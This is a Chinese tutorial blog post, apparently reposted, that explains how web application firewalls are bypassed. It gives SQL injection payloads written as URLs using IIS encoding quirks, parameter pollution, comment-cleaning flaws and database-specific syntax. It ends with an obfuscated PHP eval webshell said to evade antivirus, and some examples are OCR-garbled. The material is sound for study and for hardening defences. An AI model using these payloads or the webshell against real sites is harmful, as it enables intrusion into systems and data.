不知不覺來到掌控學(xué)院也快兩個(gè)月了，想起倆個(gè)月前，從零開始，一步一個(gè)腳印的走到現(xiàn)在。雖然有時(shí)很疲憊，但是卻很快樂。

在下才疏學(xué)淺，僅在這里發(fā)表一下不成熟的見解，希望對大家的提升有所幫助

首先我們要了解什么是waf：

Web應(yīng)用防火墻，Web Application Firewall的簡稱

我們口頭相談的waf有什么功能呢？

WAF可以發(fā)現(xiàn)和攔截各類Web層面的攻擊，記錄攻擊日志，實(shí)時(shí)預(yù)警提醒，在Web應(yīng) 用本身存在缺陷的情況下保障其安全。

但是，WAF不是萬能的、完美的、無懈可擊的，在種種原因下，它們也會(huì)有 各自的缺陷，作為用戶不可以盲目相信WAF而不注重自身的安全。

我們來看一下目前主流的WAF繞過技術(shù)：

作為攻擊者，我們要清楚我們利用哪方面來進(jìn)行繞過：

Web容器的特性

Web應(yīng)用層的問題

WAF自身的問題

數(shù)據(jù)庫的一些特性

Web容器特性1

在IIS+ASP的環(huán)境中，對于URL請求的參數(shù)值中的%，如果和后面的字符構(gòu)成的字符串在URL編碼表之外，ASP腳本 處理時(shí)會(huì)將其忽略。

現(xiàn)在假設(shè)有如下請求：

http://zkaq666.com/1.asp?id=1 union se%lect 1,2,3,4 fro%m adm%in

在WAF層，獲取到的id參數(shù)值為 1 union all se%lect 1,2,3,4 fro%m adm%in ,此時(shí)waf因?yàn)?% 的分隔，無法檢測出關(guān)鍵字 select from 等

但是因?yàn)镮IS的特性，id獲取的實(shí)際參數(shù)就變?yōu)?1 union all select 1,2,3,4 from admin ，從而繞過了waf。

這個(gè)特性僅在iis+asp上 http://asp.net并不存在。

Web容器特性2

IIS的Unicode編碼字符

IIS支持Unicode編碼字符的解析，但是某些WAF卻不一定具備這種能力。

//已知 ‘s’ 的unicode編碼為：%u0053, ‘f’ 的unicode編碼為 %u0066

如下：

http://zkaq666.com/1.asp?id=1 union all %u0053elect 1,2,3,4, %u0066rom admin

但是IIS后端檢測到了Unicode編碼會(huì)將其自動(dòng)解碼，腳本引擎和數(shù)據(jù)庫引擎最終獲取到的參數(shù)會(huì)是： 1 union all select 1,2,3,4 from admin

這種情況需要根據(jù)不同的waf進(jìn)行相應(yīng)的測試，并不是百發(fā)百中。但是對于繞過來說，往往只要一個(gè)字符成功繞過 即可達(dá)到目的。

Web容器特性3

HPP(HTTP Parameter Pollution): HTTP參數(shù)污染:

如下圖

在HTTP協(xié)議中是允許同樣名稱的參數(shù)出現(xiàn)多次的。例如:

http://zkaq666.com/1.asp?id=123&id=456 這個(gè)請求。

根據(jù)WAF的不同，一般會(huì)同時(shí)分開檢查 id=123 和 id=456 ，也有的僅可能取其中一個(gè)進(jìn)行檢測。但是對于 IIS+ASP/http://ASP.NET來說，它最終獲取到的ID參數(shù)的值是123,空格456(asp)或123,456(http://asp.net)。

所以對于這類過濾規(guī)則，攻擊者可以通過：

id=union+select+password/&id=/from+admin來逃避對 select * from 的檢測。因?yàn)镠PP特性，id的參數(shù)值最終會(huì)變?yōu)?#xff1a;union select password/,/from admin

Web容器的特性 –4

畸形HTTP請求

當(dāng)向Web服務(wù)器發(fā)送畸形的,非RFC2616標(biāo)準(zhǔn)的HTTP請求時(shí), Web服務(wù)器出于兼容的目的，會(huì)盡可能解析畸形HTTP請求。而如果Web服務(wù)器的兼容方式與WAF不一致,則可能會(huì)出現(xiàn)繞過的情況。下面來看這個(gè)POST請求:

如果將請求改為

這個(gè)請求包就就變?yōu)榱? Method不合法,沒有協(xié)議字段HTTP/1.1 ,也沒有Host字段。

如果在HTTP/1.1協(xié)議中，缺少HOST字段會(huì)返回400 bad request。但是某些版本的Apache在處理這個(gè)請求時(shí),默認(rèn)會(huì)設(shè)置協(xié)議為HTTP/0.9 , Host壩默認(rèn)使用Apache默認(rèn)的servername ,這種畸形的請求仍然能夠被處理。

如果某些WAF在處理數(shù)據(jù)的時(shí)候嚴(yán)格按照GET,POST等方式來獲取數(shù)據(jù),或者通過正則來處理數(shù)據(jù)庫包,就會(huì)因?yàn)槟承┌姹镜腁pache寬松的請求方式而被繞過。

Web應(yīng)用層的問題 -1

多重編碼問題

如果Web應(yīng)用程序能夠接收多重編碼的數(shù)據(jù)，而WAF只能解碼一層(或少于WEB應(yīng)用程序能接收的層數(shù))時(shí)，WAF會(huì) 因?yàn)榻獯a不完全導(dǎo)致防御機(jī)制被繞過。

Web應(yīng)用層的問題 -2

多數(shù)據(jù)來源的問題

如Asp和http://Asp.NET中的Request對象對于請求數(shù)據(jù)包的解析過于寬松，沒有依照RFC的標(biāo)準(zhǔn)來，開發(fā)人員在編寫代碼 時(shí)如果使用如下方式接收用戶傳入的參數(shù)

ID=Request(“ID”) ID=Request.Params(“ID”)

WEB程序可從以下3種途徑獲取到參數(shù)ID的參數(shù)值：

從GET請求中獲取ID的參數(shù)值；

如果GET請求中沒有ID參數(shù)，嘗試從POST的ID參數(shù)中獲取參數(shù)值；

如果GET和POST中都獲取不到ID的參數(shù)值，那么從Cookies中的ID參數(shù)獲取參數(shù)值。

這樣對于某些WAF來說，如果僅檢查了GET或POST的，那么來自Cookie的注入攻擊就無能為力了，更何況來自于 這三種方式組合而成的參數(shù)污染的繞過方法呢？

WAF自身的問題 – 1

白名單機(jī)制

WAF存在某些機(jī)制，不處理和攔截白名單中的請求數(shù)據(jù)：

1.指定IP或IP段的數(shù)據(jù)。
2.來自于搜索引擎爬蟲的訪問數(shù)據(jù)。
3.其他特征的數(shù)據(jù)

如以前某些WAF為了不影響站點(diǎn)的優(yōu)化，將User-Agent為某些搜索引擎（如谷歌）的請求當(dāng)作白名單處理，不檢測和攔截。偽造HTTP請求的User-Agent非常容易，只需要將HTTP請求包中的User-Agent修改為谷歌搜索引擎 的User-Agent即可暢通無阻。

WAF自身的問題 – 2

數(shù)據(jù)獲取方式存在缺陷

某些WAF無法全面支持GET、POST、Cookie等各類請求包的檢測，當(dāng)GET請求的攻擊數(shù)據(jù)包無法繞過時(shí)，轉(zhuǎn)換 成POST可能就繞過去了。或者，POST以 Content-Type: application/x-www-form-urlencoded 無法繞過時(shí)，轉(zhuǎn)換成上傳包格式的Content-Type: multipart/form-data 就能夠繞過去

WAF自身的問題 – 3

數(shù)據(jù)處理不恰當(dāng)

1、%00截?cái)?將 %00 進(jìn)行URL解碼，即是C語言中的NULL字符

如果WAF對獲取到的數(shù)據(jù)存儲(chǔ)和處理不當(dāng)，那么 %00 解碼后會(huì)將后面的數(shù)據(jù)截?cái)?#xff0c;造成后面的數(shù)據(jù)沒有經(jīng)過檢測。

解析：WAF在獲取到參數(shù)id的值并解碼后，參數(shù)值將被截?cái)喑?1/* ，后面的攻擊語句將沒有被WAF拿去進(jìn)行檢測。

2、&字符處理

這些WAF會(huì)使用&符號分割 par1 、 par2 和 par3 ，然后對其參數(shù)值進(jìn)行檢測。但是，如果遇到這種構(gòu)造：

waf會(huì)將上傳的參數(shù)分解成3部分:

如果將這3個(gè)參數(shù)分別進(jìn)行檢測，某些WAF是匹配不到攻擊特征的。

這里的 %26 是 & 字符

/%26/->/&/ 其實(shí)只是一個(gè)SQL的注釋而已

WAF自身的問題 – 4

數(shù)據(jù)清洗不恰當(dāng)

當(dāng)攻擊者提交的參數(shù)值中存在大量干擾數(shù)據(jù)時(shí)，如大量空格、TAB、換行、%0c、注釋等，WAF需要對其進(jìn)行清 洗，篩選出真實(shí)的攻擊數(shù)據(jù)進(jìn)行檢測，以提高檢查性能，節(jié)省資源。

如果WAF對數(shù)據(jù)的清洗不恰當(dāng)，會(huì)導(dǎo)致真實(shí)的攻擊數(shù)據(jù)被清洗，剩余的數(shù)據(jù)無法被檢測出攻擊行為。

WAF自身的問題 – 5

規(guī)則通用性問題

通用型的WAF，一般無法獲知后端使用的是哪些WEB容器、什么數(shù)據(jù)庫、以及使用的什么腳本語言。 每一種WEB容器、數(shù)據(jù)庫以及編程語言，它們都有自己的特性，想使用通用的WAF規(guī)則去匹配和攔截，是非常難 的。

通用型WAF在考慮到它們一些共性的同時(shí)，也必須兼顧它們的特性，否則就很容易被一些特性給Bypass！

WAF自身的問題 – 6

為性能和業(yè)務(wù)妥協(xié)

要全面兼容各類Web Server及各類數(shù)據(jù)庫的WAF是非常難的，為了普適性，需要放寬一些檢查條件，暴力的過濾 方式會(huì)影響業(yè)務(wù)。

對于通用性較強(qiáng)的軟WAF來說，不得不考慮到各種機(jī)器和系系統(tǒng)的性能，故對于一些超大數(shù)據(jù)包、超長數(shù)據(jù)可能會(huì) 跳過不檢測。

以上就是WAF自身的一些問題，接下來我們會(huì)針對這些問題進(jìn)行講解，看看WAF是怎么受這些問題影響的。

然后是數(shù)據(jù)庫的一些特性，不同的數(shù)據(jù)庫有一些屬于自己的特性，WAF如果不能處理好這些特性，就會(huì)出很大的問 題。

總結(jié)一下，WAF自身的問題有：總結(jié)一下，WAF自身的問題有：

白名單機(jī)制

數(shù)據(jù)獲取方式存在缺陷

數(shù)據(jù)處理不恰當(dāng)

數(shù)據(jù)清洗不恰當(dāng)

規(guī)則通用性問題

為性能和業(yè)務(wù)妥協(xié)

實(shí)例講解WAF繞過的思路和方法

一、數(shù)據(jù)提取方式存在缺陷，導(dǎo)致WAF被繞過

某些WAF從數(shù)據(jù)包中提取檢測特征的方式存在缺陷，如正則表達(dá)式不完善，某些攻擊數(shù)據(jù)因?yàn)槟承└蓴_字符的存在而無法被提取。

示例:

http://localhost/test/Article. php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/

某WAF在后端會(huì)將刪除線部分當(dāng)作注釋清洗掉:

Request:

http://localhost/Article.php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/

WAF:

http://localhost/Article.php?type=1&x=+8id- 2 union ol seleet 1.23,45 from etual8y +

二、數(shù)據(jù)清洗方式不正確，導(dǎo)致WAF被繞過

當(dāng)攻擊者提交的參數(shù)值中存在大量干擾數(shù)據(jù)時(shí)，如大量空格、TAB、 換行、%0C、 注釋等，WAF需要對其進(jìn)行清洗:

(為提升性能和降低規(guī)則復(fù)雜性)，篩選出真實(shí)的攻擊數(shù)據(jù)進(jìn)行檢測，但是，如果清洗方式不正確，會(huì)導(dǎo)致真正的攻擊部分被清洗，然后拿去檢測的是不含有攻擊向量的數(shù)據(jù)，從而被Bypass!

實(shí)例：

htp://localhostest/Article .php?id9999-“/*“ union all select 1,2,3,4,5 as “*/“from mysql.user

某些WAF會(huì)將9999-“/*“ union all select 1 ,2,3, 4,5 as “/*” from mysql.user清洗為: 9999-“”from mysql.user

然后去檢測是否有攻擊特征,如果沒有,執(zhí)行原始語句:

9999-“/*“ union all select 1,2,3,4,5 as “*/“ from mysql.user

如：

http://abcd.com?id=9999-"/*“ union a11 select 1,2,3,4,5 as “*/“ frommysq1. user

某些WAF會(huì)將9999-“/*“ union a11 select 1,2,3,4,5 as “*/“ from mysq1. user清洗為:

9999-“” from mysq1.user然后去檢測是否有攻擊特征,如果沒有，執(zhí)行原始語句:9999”/*“ union all select 1,2,3,4,5 as “*/“ from mysq1 .user

其實(shí)，對于 /*來說，它只是一個(gè)字符串

對于 */ 來說，它也是一個(gè)字符串，在這里還充當(dāng)一個(gè)別名

但是對于WAF來說，它會(huì)認(rèn)為這是多行注釋符，把中間的內(nèi)容清洗掉去進(jìn)行檢測，當(dāng)然檢測不到什么東西。

三、規(guī)則通用性問題，導(dǎo)致WAF被繞過

比如對SQL注入數(shù)據(jù)進(jìn)行清洗時(shí)，WAF一般不能知道后端數(shù)據(jù)庫是MySQL還是SQL Server，那么對于MySQL 的 /*!50001Select*/ 來說，這是一個(gè)Select的命令，而對于SQL Server來說，這只不過是一個(gè)注釋而已，注釋 的內(nèi)容為 !50001Select 。

尤其是對于通用性WAF，這一點(diǎn)相當(dāng)難做，很難去處理不同數(shù)據(jù)庫的特性之間的問題。

大家可以發(fā)現(xiàn)，很多WAF對錯(cuò)誤的SQL語句是不攔截的。

同樣的，在Mysql中 # 是注釋，但是在SQL Server中 # 只是一個(gè)字符串。

那么如下語句： 9999’ and 1=(select top 1 name as # from master..sysdatabases)— 會(huì)被當(dāng)作為： 9999’ and 1=(select top 1 name as 注釋

其實(shí)，這里的 # 只是一個(gè)字符，充當(dāng)一個(gè)別名的角色而已。

如果后端數(shù)據(jù)庫是SQL Server，這樣的語句是沒問題的。 但是通用型WAF怎么能知道后端是SQL Server呢？

WAF對上傳的檢測和處理

一、為性能和業(yè)務(wù)妥協(xié)

對于通用性較強(qiáng)的軟WAF來說，不得不考慮到各種機(jī)器和系統(tǒng)的性能，故對于一些超大數(shù)據(jù)包、超長數(shù)據(jù)可能會(huì)跳 過不檢測。

在上傳數(shù)據(jù)包部分，強(qiáng)行添加5萬個(gè)字符，有些WAF會(huì)直接不檢測放行，或者，檢測其中的一部分。 比如，檢測最前面5w個(gè)字符有沒有攻擊特征，如果沒有，放行。

針對這種，不能光靠WAF，我們應(yīng)該在我們的WEB容器層面或應(yīng)用程序?qū)用鎭硐薅ㄉ蟼鲾?shù)據(jù)的大小。 所以，我們不能過度依賴于WAF。

還有很多如繞過D盾木馬攔截waf的方法:

其實(shí)萬變不離其蹤，繞過的關(guān)鍵在于構(gòu)建靈巧的payload

一下是我了解的一個(gè)木馬繞過方法，win10的防護(hù)不會(huì)對其進(jìn)行攔截

<?php $a = “~+d()”^”!{+{}”; $b = ${$a}[a]; eval(“n”.$b); ?>//變量$a的值我是利用異或賦值的，$a = “~+d()”^”!{+{}”;，而字符串”~+d()”^”!{+{}”異或的結(jié)果為_POST,然后$b = ${$a}[a];與$b = $_POST[a]等價(jià)，在將其傳入eval()中

但是單純的一句話木馬：<?php eval($_REQUEST[a]);?>是絕對不可能在對方電腦上正常執(zhí)行的 所以我們還是要不斷與時(shí)俱進(jìn)的

---

轉(zhuǎn)載于安全客 作者：掌控安全-暗箭

原文鏈接：https://www.anquanke.com/post/id/203880

總結(jié)

以上是生活随笔為你收集整理的waf可以查看post请求吗_WAF是如何被绕过的？的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。